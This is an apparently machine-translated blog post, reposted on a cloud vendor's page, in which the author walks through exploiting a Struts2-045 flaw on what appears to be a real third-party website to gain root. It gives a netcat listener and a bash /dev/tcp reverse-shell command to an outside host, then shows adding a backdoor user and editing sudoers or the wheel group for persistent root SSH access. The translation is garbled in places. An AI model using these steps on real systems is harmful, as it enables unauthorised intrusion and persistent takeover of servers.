Write a preliminary Linux claim

Source: Internet
Author: User

Preface,

It's been a long time. The first time to mention the Linux server ...

Because the win server that has been delving into the previous days is not the burst of struts2-045 vulnerability

It is estimated that there is no time to contact Linux to claim ....

Body

St2 Vulnerability Page

Http://www.dainar.com/index.action

  

You can see that the root permission is

And then we'll find a way to add a root group user

Because add users need two times password re-enter (unlike the WIN Server direct net user)

So NC bounces off a shell to the extranet server

Nc-vv-l-P 2333

Enter in the St2 tool

Bash-i >&/dev/tcp/10.0.0.1/2333 0>&1

10.0.0.1 is your extranet IP 2333 is the port you are listening to

And then perform a rebound after a successful rebound comes up

Add Users,

Add an ordinary user with the AddUser command, with the following command: #adduser sf197  //Add a user named sf197 #passwd sf197   //Modify password changing password for user sf197. New UNIX Password:     //Enter this password here Retype Unix password:  //Enter new password again passwd:all authentication tokens updated successfully.//established successfully.

  

Add users to the root group,

Method One: Modify the/etc/sudoers file, locate the following line, remove the previous comment (#)
# # allows people in group wheel to run all commands
%wheel all= (All) all
Then modify the user to belong to the root group (wheel) with the following command:
#usermod-G Root sf197
After the modification, can now log in with sf197 account, and then use the command Su-, you can get root permissions to operate.


Method Two: Modify the/etc/sudoers file, locate the following line, and add a line under root as follows:
# allow ROOT to run any commands anywhere
Root all= (All) all
sf197 all= (All) all
After the modification, can now log in with sf197 account, and then use the command Su-, you can get root permissions to operate.

Successful Add complete

Connect the server execution ID with the SSH protocol to return to the root group!

Reprint Please specify this article admin-God Wind

This article source: http://www.cnblogs.com/wh4am1/p/6580153.html

Write a preliminary Linux claim

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.